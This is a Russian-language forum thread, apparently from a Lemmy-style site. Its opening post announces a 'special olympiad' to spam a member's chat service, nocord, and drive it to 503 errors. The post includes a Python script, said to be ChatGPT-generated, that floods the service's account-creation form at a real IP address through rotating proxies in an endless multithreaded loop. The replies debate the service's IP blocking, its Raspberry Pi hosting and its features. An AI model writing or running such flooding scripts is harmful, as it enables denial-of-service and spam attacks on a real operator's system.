В этом итт тхреде мы будем пользоваться сервисом nocord созданным участником нашего форума. По мере использования, делимся скриптами и прочими решениями.

Также я объявляю следующие направления специальной олимпиады:

  1. Спам сервиса сообщениями
  2. Доведение сервиса до ошибки 503
  3. tbd

Как первый участник я покажу свой (chatgpt) код:

import requests
import random
import time
from concurrent.futures import ThreadPoolExecutor

# Функция для чтения прокси из файла
def read_proxies(proxy_file):
    with open(proxy_file, 'r') as file:
        proxies = [line.strip() for line in file.readlines()]
    return proxies

# Функция для отправки формы
def submit_form(name, password, proxy):
    url = "http://91.192.22.20/create.php"

    # Формируем данные для отправки
    data = {
        'name': name,
        'password': password,
        'password2': password,
        'public_submit': 'Создать публичный сервер',
    }

    # Настроим прокси
    proxies = {
        "http": proxy,
        "https": proxy,
    }

    try:
        # Отправляем POST запрос
        response = requests.post(url, data=data, proxies=proxies, timeout=10)
        
        # Проверяем статус код ответа
        if response.status_code == 200:
            print(f"[INFO] Успешно отправлена форма для сервера: {name}")
        else:
            print(f"[ERROR] Ошибка при отправке формы для {name}. Статус код: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Ошибка при отправке формы для {name}. Ошибка: {e}")

# Основной цикл
def main():
    proxies = read_proxies('proxy.txt')  # Читаем список прокси из файла
    base_name = "пррррр посрал в парашу пррррр"
    password = "12345"
    iteration = 1

    # Создаем пул потоков с 10 рабочими потоками
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            # Генерируем уникальное имя сервера
            name = f"{base_name}{iteration}"
            
            # Выбираем случайный прокси из списка
            proxy = random.choice(proxies)
            
            # Выводим информацию о текущем шаге
            print(f"[INFO] Попытка отправить форму для {name} с прокси {proxy}")
            
            # Отправляем форму в отдельном потоке
            executor.submit(submit_form, name, password, proxy)
            
            # Инкрементируем итерацию
            iteration += 1

            # Увековечиваем шаг (например, задержка 1 секунда, чтобы не создавать слишком много задач одновременно)
            time.sleep(0.1)

if __name__ == '__main__':
    main()

Перемещено cocucka из tox

  • shikata_ga_naiOP
    link
    fedilink
    arrow-up
    0
    ·
    1 year ago

    Слушай, ну ты конечно молодец, что забанил всю планету по ip и осатвил только две страны, но!

    • Ты максимально сократил потенциальную аудиторию (в РФ много людей пользуются VPN)
    • Это не защищает никак от использования прокси, которых в интернете валом.

    И даже если ты считаешь, что будешь чистить каждый день и следить внимательно, это никак не спасет.

    • Тебя можно ддосить по ночам, когда ты спишь
    • У тебя все равно будет насиловаться железка (rpi или что там у тебя)

    Почему ты так упорно считаешь, что ты прав? Даже если все пункты выше тебе не важны, никто не будет общаться на платформе, где каждую ночь вайп и каждое утро очистка БД под ноль.

    Я уже молчу о том, что ты дизайн сделал максимально отвратительный и функционал нулевой. Современные сервисы защищают себя не то, что капчей, делают привязку к номеру телефона, чтобы им не регистрировали бесконечно учетки и т.д. Да и кто в здравом уме будет держать сервер на малине у себя дома? Ну ты просто везде где можно проебался. Как ты это не понимаешь?

    • crypt
      link
      fedilink
      arrow-up
      0
      ·
      1 year ago

      Почему ты так упорно считаешь, что ты прав?

      забей, возрастные особенности. называется подростковый максимализм. где-то в районе 7го-9го класса он проявляется, потом само проходит.


      а кроме того, сосискин - мамкин пирожок и вахтер

    • MrSugoma
      link
      fedilink
      arrow-up
      0
      ·
      1 year ago

      осатвил только две страны

      Это две нормальные страны.

      Ты максимально сократил потенциальную аудиторию

      У Госуслуг огромная аудитория, но туда можно зайти только с российского IP.

      Это не защищает никак от использования прокси, которых в интернете валом.

      К сожалению, да.

      И даже если ты считаешь, что будешь чистить каждый день и следить внимательно, это никак не спасет. Тебя можно ддосить по ночам, когда ты спишь. У тебя все равно будет насиловаться железка (rpi или что там у тебя)

      К сожалению, да.

      дизайн сделал максимально отвратительный

      Дизайн не нужен.

      функционал нулевой

      Чего там тебе не хватает?

      делают привязку к номеру телефона

      Это очень плохо, я такого никогда не сделаю.

      Да и кто в здравом уме будет держать сервер на малине у себя дома?

      Все нормальные люди хостят всё у себя дома.

      Ну ты просто везде где можно проебался.

      Не везде.

      • shikata_ga_naiOP
        link
        fedilink
        arrow-up
        0
        ·
        1 year ago

        Слать plain-text это не функционал. Там нельзя даже картинку скинуть, о чем речь? Я уже молчу о функционале который предоставляет тот же telegram / discord.

        Все нормальные люди хостят всё у себя дома.

        Нет, ибо:

        • Ты светишь жопой без штанов в интернет
        • Для таких задач придуманы выделенные сервера, которые обеспечивают высокий ресурс по цпу и т.д., аптайм в 99.9%…

        Хостить дома ты можешь что-то вроде облака, чтобы со своего телефона туда заходить за фотками или фильмы телевизором смотреть скачанные на сервер, хз, но явно не такое.

        • MrSugoma
          link
          fedilink
          arrow-up
          0
          ·
          1 year ago

          Там нельзя даже картинку скинуть, о чем речь?

          На ЛОРе тоже нельзя картинку скинуть.

          Я уже молчу о функционале который предоставляет тот же telegram / discord.

          Никакого существенного функционала, который есть в Nocord, Discord не предоставляет.

          Ты светишь жопой без штанов в интернет

          При правильно настроенном фаерволле это не проблема.

          Для таких задач придуманы выделенные сервера, которые обеспечивают высокий ресурс по цпу и т.д., аптайм в 99.9%…

          Чем малинка для такого не годится?

          но явно не такое

          Малинка нормально выдерживает Nocord.

          • shikata_ga_naiOP
            link
            fedilink
            arrow-up
            0
            ·
            1 year ago

            На ЛОРе можно скинуть картинку (галерея / новости). То, что там нельзя скидывать картинку как сообщение это следствие ретроградной культуры борды, где сидят бородатые деды и ностальгируют по временам, когда интернет был dial-up у одного человека на пол города.

            Малинка не годится в силу того, что она придумана для других целей. У бедолаги единственный накопитель это microsd карта, которая просто умрет за пару дней у тебя, так оно еще и подключено через usb шину. Эти карты памяти придуманы, чтобы в фотоаппарате работать, пофоткал - скинул на комп. Люди которые пользуются одноплатниками по максимуму стараются уменьшить i/o, выкидывая все что можно в tmpfs и многие даже всю систему в ro ставят.

            Она у тебя хоть с кулером?

            • MrSugoma
              link
              fedilink
              arrow-up
              0
              ·
              1 year ago

              То, что там нельзя скидывать картинку как сообщение это следствие ретроградной культуры борды, где сидят бородатые деды и ностальгируют по временам, когда интернет был dial-up у одного человека на пол города.

              Не называй нормальных людей ретроградами.

              Люди которые пользуются одноплатниками по максимуму стараются уменьшить i/o, выкидывая все что можно в tmpfs

              OpenWrt момент, когда /var — симлинк на /tmp.

              Она у тебя хоть с кулером?

              Да.

          • Oberstserj
            link
            fedilink
            arrow-up
            0
            ·
            1 year ago

            На ЛОРе тоже нельзя картинку скинуть.

                • MrSugoma
                  link
                  fedilink
                  arrow-up
                  0
                  ·
                  1 year ago

                  Там тоже можно.

                  Нет, нельзя, только на ЛТ можно.

                  • Oberstserj
                    link
                    fedilink
                    arrow-up
                    0
                    ·
                    1 year ago

                    В галерею зайди, болезный. Чо там в толксах хз, уже два года не хожу на ЛОРпомойку.

                    • MrSugoma
                      link
                      fedilink
                      arrow-up
                      0
                      ·
                      1 year ago

                      В галерею зайди, болезный.

                      Так это галерея, туда картинки можно отправить только в скриншот, как и в новостях.